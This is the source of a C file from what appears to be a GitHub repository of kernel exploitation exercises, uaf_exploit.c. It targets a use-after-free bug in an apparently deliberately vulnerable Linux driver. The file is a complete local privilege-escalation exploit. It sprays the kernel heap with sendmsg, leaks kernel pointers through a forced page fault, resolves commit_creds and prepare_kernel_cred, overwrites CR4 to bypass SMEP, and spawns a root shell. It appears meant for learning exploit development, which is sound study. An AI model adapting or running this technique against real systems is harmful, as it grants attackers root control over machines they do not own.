-
Notifications
You must be signed in to change notification settings - Fork 27
/
uaf_exploit.c
145 lines (107 loc) · 3.28 KB
/
uaf_exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
#define _GNU_SOURCE
#include <sys/mman.h>
#include <sys/wait.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sched.h>
#include <sys/ioctl.h>
#include <sys/types.h>
#include <stdio.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <sys/socket.h>
#include "common.h"
#include "../src/vuln_driver.h"
#define BUFF_SIZE 96
typedef struct k_object
{
char buff[BUFF_SIZE];
}k_object;
/**
* Here we are using the sendmsg syscall. This is a good
* one to use because the number of bytes allocated on the
* heap is determined by the user, this means we can determine
* which cache to use. The api is quite confusing and much of this
* was written after reading a lot of stackoverflow posts.
*/
void use_after_free_sendmsg(int fd, long target, long arg)
{
char buff[BUFF_SIZE];
struct msghdr msg = {0};
struct sockaddr_in addr = {0};
int sockfd = socket(AF_INET, SOCK_DGRAM, 0);
memset(buff, 0x43, sizeof buff);
memcpy(buff+56, &arg, sizeof(long));
memcpy(buff+56+(sizeof(long)), &target, sizeof(long));
addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
addr.sin_family = AF_INET;
addr.sin_port = htons(6666);
/* This is the data that will overwrite the vulnerable object in the heap */
msg.msg_control = buff;
/* This is the user controlled size, eventually kmalloc(msg_controllen) will occur */
msg.msg_controllen = BUFF_SIZE; // should be chdr->cmsg_len but i want to force the size
msg.msg_name = (caddr_t)&addr;
msg.msg_namelen = sizeof(addr);
ioctl(fd, ALLOC_UAF_OBJ, NULL);
ioctl(fd, FREE_UAF_OBJ, NULL);
/* Heap spray */
for(int i = 0; i < 100000; i++) {
sendmsg(sockfd, &msg, 0);
}
/* Trigger */
ioctl(fd, USE_UAF_OBJ, NULL);
}
void do_page_fault()
{
long info_leak_magic = 0x41414141deadbeef;
int child_fd = open(PATH, O_RDWR);
//trigger a pagefault trying to call fn()->0
use_after_free_sendmsg(child_fd, info_leak_magic, 0);
}
int main(void)
{
force_single_core();
/* map the address */
void *addr = NULL;
if(map_and_copy(addr) == -1)
{
printf("[x] Error mapping address [x]\n");
exit(-1);
}
int fd = open(PATH, O_RDWR);
/* Helps us differentiate calls in dmesg */
ioctl(fd, DRIVER_TEST, NULL);
/* Step 1: force a page fault to leak kernel pointers in dmesg */
pid_t pid = fork();
if(pid == 0) {
do_page_fault();
exit(0);
}
wait(NULL); //wait for the child to die
printf("[+] Child done getting address now [+]\n");
long leak = get_info_leak();
if(leak == 0) {
printf("[x] Error getting SyS_ioctl+0x79 address [x]\n");
munmap(addr, MAP_SIZE);
exit(-1);
}
printf("[+] Got address %p [+]\n", (void *)leak);
long native_cr4_write = leak - CR4_WRITE_OFFSET;
prepare_kernel_cred = leak - PREPARE_CRED_OFFSET;
commit_creds = leak - COMMIT_CREDS_OFFSET;
printf("[+] Calculated address of required kernel functions [+]\n");
printf("\tnative_write_cr4: %p\n\tprepare_kernel_creds: %p\n\tcommit_creds: %p\n",
(void *)native_cr4_write, (void *)prepare_kernel_cred, (void *)commit_creds);
use_after_free_sendmsg(fd, native_cr4_write, TARGET_CR4);
use_after_free_sendmsg(fd, MMAP_ADDR, 0);
if(getuid() == 0) {
printf("[!!!] popping root shell [!!!]\n");
system("/bin/sh");
}
munmap(addr, MAP_SIZE);
close(fd);
}